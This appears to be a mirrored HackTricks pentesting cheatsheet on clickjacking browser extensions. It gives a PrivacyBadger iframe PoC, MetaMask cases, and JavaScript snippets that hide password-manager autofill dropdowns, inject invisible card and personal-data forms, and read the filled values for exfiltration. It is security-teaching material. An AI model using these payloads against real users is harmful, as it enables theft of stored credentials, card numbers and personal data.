repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
browext-clickjacking.mdMarkdown226 lines11.5 KiBsource raw download

title: "BrowExt - ClickJacking" section: "Web Pentesting" sectionSlug: "pentesting-web" sourcePath: "src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md" sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md" sha: "188de82beb54e70956b2952367a0af91d26758b8" isIndex: false modified: true license: "CC-BY-NC-4.0"#

BrowExt - ClickJacking#

Basic Information#

This page is going to abuse a ClickJacking vulnerability in a Browser extension.
If you don't know what ClickJacking is check:

Clickjacking

Extensions contain a manifest.json file whose web_accessible_resources field declares packaged files that matching web origins or extensions may request.[4]

Resources are available at chrome-extension://[PACKAGE ID]/[PATH], can be addressed with runtime.getURL(), and are served with CORS headers. In Manifest V3, declarations can restrict access with matches, extension_ids, and dynamic URLs.[4]

Declaring a resource web-accessible does not itself grant that file extra privileges. The risk appears when an exposed HTML page or script already has privileged extension functionality or can message privileged extension components: an attacker-controlled page may embed or navigate to it and induce unintended user interaction.[4]

Depending on the exposed page's own scripts and message handlers, successful clickjacking may therefore cause it to:

These capabilities must be verified from the page's code and manifest permissions; they do not arise merely from listing the file in web_accessible_resources.

PrivacyBadger Example#

In the extension PrivacyBadger, a vulnerability was identified related to the skin/ directory being declared as web_accessible_resources in the following manner (Check the original blog post):[1]

"web_accessible_resources": [
  "skin/*",
  "icons/*"
]

This configuration led to a potential security issue. Specifically, the skin/popup.html file, which is rendered upon interaction with the PrivacyBadger icon in the browser, could be embedded within an iframe. This embedding could be exploited to deceive users into inadvertently clicking on "Disable PrivacyBadger for this Website". Such an action would compromise the user's privacy by disabling the PrivacyBadger protection and potentially subjecting the user to increased tracking. A visual demonstration of this exploit can be viewed in a ClickJacking video example provided at https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm.[1]

To address this vulnerability, a straightforward solution was implemented: the removal of /skin/* from the list of web_accessible_resources. This change effectively mitigated the risk by ensuring that the content of the skin/ directory could not be accessed or manipulated through web-accessible resources.[1]

PoC#

<!--https://blog.lizzie.io/clickjacking-privacy-badger.html-->

<style>
  iframe {
    width: 430px;
    height: 300px;
    opacity: 0.01;
    float: top;
    position: absolute;
  }

  #stuff {
    float: top;
    position: absolute;
  }

  button {
    float: top;
    position: absolute;
    top: 168px;
    left: 100px;
  }
</style>

<div id="stuff">
  <h1>Click the button</h1>
  <button id="button">click me</button>
</div>

<iframe
  src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
</iframe>

Metamask Example#

A blog post about a ClickJacking in metamask can be found here. In this case, Metamask fixed the vulnerability by checking that the protocol used to access it was https: or http: (not chrome: for example):[2]

Another ClickJacking fixed in the Metamask extension was that users were able to Click to whitelist when a page was suspicious of being phishing because of “web_accessible_resources”: [“inpage.js”, “phishing.html”]. As that page was vulnerable to Clickjacking, an attacker could abuse it showing something normal to make the victim click to whitelist it without noticing, and then going back to the phishing page which will be whitelisted.[2]

Steam Inventory Helper Example#

Check the following page to check how a XSS in a browser extension was chained with a ClickJacking vulnerability:

Browext Xss Example


DOM-based Extension Clickjacking (Password Manager Autofill UIs)#

Classic extension clickjacking abuses misconfigured web_accessible_resources to iframe privileged HTML and drive user clicks. A newer class, DOM-based extension clickjacking, targets the autofill dropdowns injected by password managers directly into the page DOM and uses CSS/DOM tricks to hide or occlude them while keeping them clickable. One coerced click can select a stored item and fill attacker-controlled inputs with sensitive data.[3]

Threat model#

Attack flow (manual autofill)#

  1. Inject an invisible but focusable form (login/PII/credit-card fields).
  2. Focus an input to summon the extension’s autofill dropdown near the field.
  3. Hide or occlude the extension UI while keeping it interactable.
  4. Align a believable control under the hidden dropdown to coerce a click that selects an item.
  5. Read filled values from the attacker form and exfiltrate.

How to hide the autofill UI#

// Reduce or nullify opacity of the extension root
// Works when the root element is attached in the page DOM
const root = document.querySelector('protonpass-root')
if (root) root.style.opacity = 0
// Find dynamic root like <protonpass-root-xyz> and hide its child iframe
const root = Array.from(document.querySelectorAll('*'))
  .find(el => el.tagName.toLowerCase().startsWith('protonpass-root-'))
if (root?.shadowRoot) {
  const frame = root.shadowRoot.querySelector('iframe')
  if (frame) frame.style.cssText += 'opacity:0 !important;'
}
// Hide full page, then reveal a tiny amount to keep clicks working
document.body.style.opacity = 0
// Optional: Show a screenshot/lookalike to avoid a blank screen
// document.documentElement.style.backgroundImage = 'url(website.png)'

// Inject a credit-card form and focus to trigger dropdown
/* create #cardform with #cardnumber, #expiry, #cvc */
document.getElementById('cardnumber').focus()
// Make body barely visible to allow user interaction
document.body.style.opacity = '0.001'

function getCardValues() {
  const num = document.getElementById('cardnumber').value
  const exp = document.getElementById('expiry').value
  const cvc = document.getElementById('cvc').value
  // exfiltrate via XHR/fetch/websocket
}
<div id="overlay" popover style="pointer-events:none;">Cookie consent</div>
<script>
  overlay.showPopover()
  // Inject a personal data form and focus to trigger dropdown
  /* create #personalform with #name/#email/#phone/... */
  document.getElementById('name').focus()
  function getData(){ /* read + exfil values on change */ }
</script>

Positioning the victim click#

const f = document.getElementById('name')
document.addEventListener('mousemove', e => {
  personalform.style = `top:${e.pageY-50}px;left:${e.pageX-100}px;position:absolute;`
  // some managers hide the dropdown if focus is lost; refocus slowly
  setTimeout(() => f.focus(), 100)
})

Impact and scenarios#

Limitations#

Extension developer mitigations#

References#